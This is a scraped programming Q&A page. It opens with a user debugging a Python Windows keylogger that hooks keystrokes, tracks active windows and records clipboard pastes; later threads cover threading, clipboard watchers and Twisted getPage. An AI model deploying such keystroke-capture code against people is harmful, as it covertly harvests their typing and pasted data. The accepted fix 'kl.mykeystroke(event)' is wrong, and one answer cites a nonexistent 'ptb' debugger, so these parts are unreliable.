missing two required positional arguments for a function in python - python

been looking around and couldn't seem to find the answer i was looking, sorry if this is a poorly phrased question
the code is
import ctypes
import ctypes.wintypes
from io import StringIO
from multiprocessing import Value
import os
import pythoncom
import pyWinhook as pyhook
import sys
import time
import win32clipboard
TIMEOUT = 60*10
class keyloggerz:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = ctypes.windll.user32.GetForegroundWindow()
pid = ctypes.c_ulong(0)
ctypes.windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
process_id = f'{pid.value}'
executable = ctypes.create_string_buffer(512)
h_process = ctypes.windll.kernel32.OpenProcess(0x400|0x10, False, pid)
ctypes.windll.psapi.GetModuleBaseNameA(h_process, None, ctypes.byref(executable), 512)
window_title = ctypes.create_string_buffer(512)
ctypes.windll.user32.GetWindowTextA(hwnd, ctypes.byref(window_title), 512)
try:
self.current_window = window_title.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unkown')
print('\n', process_id, executable.value.decode(), self.current_window)
ctypes.windll.kernel32.CloseHandle(hwnd)
ctypes.windll.kernel32.CloseHandle(h_process)
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.key}')
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = keyloggerz
hm = pyhook.HookManager
hm.KeyDown = kl.mykeystroke()
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
print(run())
print('done.')
on running it comes up with the error:
TypeError: keyloggerz.mykeystroke() missing 2 required positional arguments: 'self' and 'event'
any sort of help would be appreciated

Your problem starts with the instantiation of keyloggerz:
kl = keyloggerz
It should be:
kl = keyloggerz()
The main problem is two lines below, in:
hm.KeyDown = kl.mykeystroke()
If you look at the definition for keyloggerz.mykeystroke(), you see that it takes 2 parameters:
def mykeystroke(self, event):
...
So, when you call the function, you need to pass in the event parameter:
hm.KeyDown = kl.mykeystroke(event)
When you call a method, the first parameter is automatically passed the class instance object, usually called self. Therefore, when you call it via kl.mykeystroke(event), it is in reality calling keyloggerz.mykeystroke(kl, event). Because you didn't instantiate the class at the beginning, your function call was basically keyloggerz.mykeystroke(), which was missing both the self and event parameters.

Related

Threading object issue

I can't figure out why the threading object threadObj can't use isAlive, when I call stop(). The code is described below.
from threading import Thread
class workerThread(Thread):
def __init__(self, _parent):
Thread.__init__(self)
self.parent = _parent
self.active = False
def run(self):
while(self.active == False):
print 'I am here'
print 'and now I am here'
class imp():
def __init__(self):
self.threadObj = None
def start(self):
self.threadObj = workerThread(self)
self.threadObj.start()
def stop(self):
if self.threadObj.isAlive() == True:
print 'it is alive'
It says: AttributeError: 'NoneType' object has no attribute 'isAlive'
The calling code is descibed below:
from filename import imp
filename = imp()
if option == 'A':
filename.start()
elif option == 'B':
filename.stop()
Your issue appears to be that you mistakenly believe that your Threads are persistent between invocations of your program, which is not correct. When you call python callingCode.py A, your program runs and executes the if option == 'A' block of code. Then it exits, and your thread is cleaned up. The second time, when you call python callingCode.py B, the thread is never created.
Based on what you've posted:
from filename import imp
filename = imp() # you create an object here
if option == 'A':
# if option is B, you are not launching the Thread
# another words, this start() method will not be executed
filename.start()
elif option == 'B':
# At this moment threadObj is None
# because it wasn't started
filename.stop()
I would suggest you to use ptd to find this type of bugs:
from filename import imp
filename = imp()
import ptb
ptb.set_trace()
if option == 'A':
filename.start()
elif option == 'B':
filename.stop()

Stop a python thread from destructor

I am somewhat new to Python programming. I am trying to make a script which will continously read a USB device in a separate thread (as this class will be imported into some GUI apps) using a dll, If there are any data it will call the callback function.
My problem is I want to stop the thread using the destructor and I am not sure about other better design to do it? Could any body please point me out if there are better methods?
My design is planned where my class can be imported and then, call the run through start, once the last object is destroyed the thread stops.
# -*- coding: utf-8 -*-
import ctypes
import threading
import time
USB_VENDOR_ID = 0x23ef
USB_PRODUCT_ID = 0x0001
class usb_dev_comm(threading.Thread):
def __init__(self, callback_fun):
self.hidDll = ctypes.WinDLL("AtUsbHid.dll")
self.usb_dev_connected = 0
self.usb_stopall = 0
self.callback = callback_fun
return
def usb_dev_present(self):
self.res = self.hidDll.findHidDevice(USB_VENDOR_ID, USB_PRODUCT_ID)
if (self.res == True):
self.usb_dev_connected = 1
else:
self.usb_dev_connected = 0
return self.res
def usb_dev_tx(self,data):
self.res = self.hidDll.writeData(data)
return self.res
def usb_dev_rx(self):
data = 0
result = self.hidDll.readData(data)
if (result == False):
return False
else:
return data
def run(self):
while 1:
self.usb_dev_present()
print self.usb_dev_connected
if(self.usb_dev_connected):
data_rx = self.usb_dev_rx()
print data_rx
#time.sleep(0.001)
time.sleep(1)
def __del__(self):
print "del:cleanup required"
#TODO
if __name__ == "__main__":
def data_print(data):
print data
device = usb_dev_comm(data_print)
result = device.run()
print result
print device.usb_dev_connected
I tried introducing
def run(self):
while self.stop_thread:
self.usb_dev_present()
print self.usb_dev_connected
if(self.usb_dev_connected):
data_rx = self.usb_dev_rx()
print data_rx
#time.sleep(0.001)
time.sleep(1)
def __del__(self):
self.stop_thread = 1
print "del:cleanup required"
#TODO
But this is not working as I think this leads to chicken and egg problem

how to pass a function to a tuple from a thread

My questions are interlaced within my code:
#!/usr/bin/python
import threading
import logging, logging.handlers
import hpclib
import json
import time
from datetime import datetime
from features import *
import sys
if len(sys.argv) != 3:
print "Please provide the correct inputs"
print "Usage: rest_test.py <controllerip> <counter>"
sys.exit()
controller = sys.argv[1]
counter = int(sys.argv[2])
class FuncThread(threading.Thread):
def __init__(self, target, *args):
self._target = target
self._args = args
threading.Thread.__init__(self)
def run(self):
self._target(*self._args)
def datapath_thread(ipaddress, testlogfile,count):
#initialize logging system
testlogger = logging.getLogger("testlogger")
testlogger.setLevel(logging.DEBUG)
file = open(testlogfile,'w')
file.close()
# This handler writes everything to a file.
h1 = logging.FileHandler(testlogfile)
f = logging.Formatter("%(levelname)s %(asctime)s %(funcName)s %(lineno)d %(message)s")
h1.setFormatter(f)
h1.setLevel(logging.DEBUG)
testlogger.addHandler(h1)
mylib = hpclib.hpclib(ipaddress)
success_count = 0
failure_count = 0
for i in range(count):
t1=datetime.now()
try:
(code, val) = datapaths.listDatapaths(mylib)
I want to pass this function datapaths.listDatapaths(mylib) as a argument from a thread below, something like (code,val)=functionname
if code == 200:
success_count +=1
else:
testlogger.debug("Return Code other than 200 received with code = %d, value = %s"%(code,val))
failure_count +=1
except:
failure_count += 1
testlogger.debug ("Unexpected error: %s"%sys.exc_info()[0])
continue
t2=datetime.now()
diff=t2-t1
testlogger.debug('RETURN code: %d. Time taken in sec = %s,Iteration = %d, Success = %d, Failure = %d'%(code,diff.seconds,i+1,success_count,failure_count))
time.sleep(1)
testlogger.removeHandler(h1)
# Passing ipadress of controller and log file name
t1 = FuncThread(datapath_thread, controller, "datapaths.log",counter)
Here I would like to pass function name as one of the argument,something like t1 = FuncThread(datapath_thread, controller, datapaths.listDatapaths(mylib),"datapaths.log",counter)
t1.start()
t1.join()
I have many functions to call like this,so want a easy way to call all the functions from one single function using many threads
Firstly, FuncThread is not very useful - FuncThread(func, *args) can be spelt Thread(target=lambda: func(*args)) or Thread(target=func, args=args).
You're pretty close - instead of passing in the result of calling the function, pass in the function itself
def datapath_thread(ipaddress, test_func, testlogfile, count):
# ...
for i in range(count):
# ...
try:
(code, val) = test_func(mylib)
#...
thread = Thread(target=datapath_thread, args=(
controller,
datapaths.listDatapaths,
"datapaths.log",
counter
))

Trigger an event when clipboard content changes

I'm trying to get the clipboard content using a Python script on my Mac Lion.
I'm searching for an event or something similar, because if I use a loop, my application spends all its time watching the clipboard.
Any ideas?
Have you thought about using an endless loop and "sleeping" between tries?
I used pyperclip for a simple PoC and it worked like a charm, and Windows and Linux.
import time
import sys
import os
import pyperclip
recent_value = ""
while True:
tmp_value = pyperclip.paste()
if tmp_value != recent_value:
recent_value = tmp_value
print("Value changed: %s" % str(recent_value)[:20])
time.sleep(0.1)
Instead of the print, do whatever you want.
Here is a complete multithreading example.
import time
import threading
import pyperclip
def is_url_but_not_bitly(url):
if url.startswith("http://") and not "bit.ly" in url:
return True
return False
def print_to_stdout(clipboard_content):
print ("Found url: %s" % str(clipboard_content))
class ClipboardWatcher(threading.Thread):
def __init__(self, predicate, callback, pause=5.):
super(ClipboardWatcher, self).__init__()
self._predicate = predicate
self._callback = callback
self._pause = pause
self._stopping = False
def run(self):
recent_value = ""
while not self._stopping:
tmp_value = pyperclip.paste()
if tmp_value != recent_value:
recent_value = tmp_value
if self._predicate(recent_value):
self._callback(recent_value)
time.sleep(self._pause)
def stop(self):
self._stopping = True
def main():
watcher = ClipboardWatcher(is_url_but_not_bitly,
print_to_stdout,
5.)
watcher.start()
while True:
try:
print("Waiting for changed clipboard...")
time.sleep(10)
except KeyboardInterrupt:
watcher.stop()
break
if __name__ == "__main__":
main()
I create a subclass of threading.Thread, override the methods run and __init__ and create an instance of this class. By calling watcher.start() (not run()!), you start the thread.
To safely stop the thread, I wait for <Ctrl>-C (keyboard interrupt) and tell the thread to stop itself.
In the initialization of the class, you also have a parameter pause to control how long to wait between tries.
Use the class ClipboardWatcher like in my example, replace the callback with what you do, e.g., lambda x: bitly(x, username, password).
Looking at pyperclip the meat of it on Macosx is :
import os
def macSetClipboard(text):
outf = os.popen('pbcopy', 'w')
outf.write(text)
outf.close()
def macGetClipboard():
outf = os.popen('pbpaste', 'r')
content = outf.read()
outf.close()
return content
These work for me how do you get on?
I don't quite follow your comment on being in a loop.
EDIT Added 'orrid polling example that shows how changeCount() bumps up on each copy to the pasteboard. It's still not what the OP wants as there seems no event or notification for modifications to the NSPasteboard.
from LaunchServices import *
from AppKit import *
import os
from threading import Timer
def poll_clipboard():
pasteboard = NSPasteboard.generalPasteboard()
print pasteboard.changeCount()
def main():
while True:
t = Timer(1, poll_clipboard)
t.start()
t.join()
if __name__ == "__main__":
main()
simple!
import os
def macSetClipboard(text):
outf = os.popen('pbcopy', 'w')
outf.write(text)
outf.close()
def macGetClipboard():
outf = os.popen('pbpaste', 'r')
content = outf.read()
outf.close()
return content
current_clipboard = macGetClipboard()
while True:
clipboard = macGetClipboard()
if clipboard != current_clipboard:
print(clipboard)
macSetClipboard("my new string")
print(macGetClipboard())
break
I originaly posted my answer on a duplicate Run a python code when copying text with specific keyword
Here the answer I came up with.
import clipboard
import asyncio
# Exemple function.
async def your_function():
print("Running...")
async def wait4update(value):
while True:
if clipboard.paste() != value : # If the clipboard changed.
return
async def main():
value = clipboard.paste() # Set the default value.
while True :
update = asyncio.create_task(wait4update(value))
await update
value = clipboard.paste() # Change the value.
asyncio.create_task(your_function()) #Start your function.
asyncio.run(main())

Twisted Python getPage

I tried to get support on this but I am TOTALLY confused.
Here's my code:
from twisted.internet import reactor
from twisted.web.client import getPage
from twisted.web.error import Error
from twisted.internet.defer import DeferredList
from sys import argv
class GrabPage:
def __init__(self, page):
self.page = page
def start(self, *args):
if args == ():
# We apparently don't need authentication for this
d1 = getPage(self.page)
else:
if len(args) == 2:
# We have our login information
d1 = getPage(self.page, headers={"Authorization": " ".join(args)})
else:
raise Exception('Missing parameters')
d1.addCallback(self.pageCallback)
dl = DeferredList([d1])
d1.addErrback(self.errorHandler)
dl.addCallback(self.listCallback)
def errorHandler(self,result):
# Bad thingy!
pass
def pageCallback(self, result):
return result
def listCallback(self, result):
print result
a = GrabPage('http://www.google.com')
data = a.start() # Not the HTML
I wish to get the HTML out which is given to pageCallback when start() is called. This has been a pita for me. Ty! And sorry for my sucky coding.
You're missing the basics of how Twisted operates. It all revolves around the reactor, which you're never even running. Think of the reactor like this:
(source: krondo.com)
Until you start the reactor, by setting up deferreds all you're doing is chaining them with no events from which to fire.
I recommend you give the Twisted Intro by Dave Peticolas a read. It's quick and it really gives you all the missing information that the Twisted documentation doesn't.
Anyways, here is the most basic usage example of getPage as possible:
from twisted.web.client import getPage
from twisted.internet import reactor
url = 'http://aol.com'
def print_and_stop(output):
print output
if reactor.running:
reactor.stop()
if __name__ == '__main__':
print 'fetching', url
d = getPage(url)
d.addCallback(print_and_stop)
reactor.run()
Since getPage returns a deferred, I'm adding the callback print_and_stop to the deferred chain. After that, I start the reactor. The reactor fires getPage, which then fires print_and_stop which prints the data from aol.com and then stops the reactor.
Edit to show a working example of OP's code:
class GrabPage:
def __init__(self, page):
self.page = page
########### I added this:
self.data = None
def start(self, *args):
if args == ():
# We apparently don't need authentication for this
d1 = getPage(self.page)
else:
if len(args) == 2:
# We have our login information
d1 = getPage(self.page, headers={"Authorization": " ".join(args)})
else:
raise Exception('Missing parameters')
d1.addCallback(self.pageCallback)
dl = DeferredList([d1])
d1.addErrback(self.errorHandler)
dl.addCallback(self.listCallback)
def errorHandler(self,result):
# Bad thingy!
pass
def pageCallback(self, result):
########### I added this, to hold the data:
self.data = result
return result
def listCallback(self, result):
print result
# Added for effect:
if reactor.running:
reactor.stop()
a = GrabPage('http://google.com')
########### Just call it without assigning to data
#data = a.start() # Not the HTML
a.start()
########### I added this:
if not reactor.running:
reactor.run()
########### Reference the data attribute from the class
data = a.data
print '------REACTOR STOPPED------'
print
########### First 100 characters of a.data:
print '------a.data[:100]------'
print data[:100]

Categories

Resources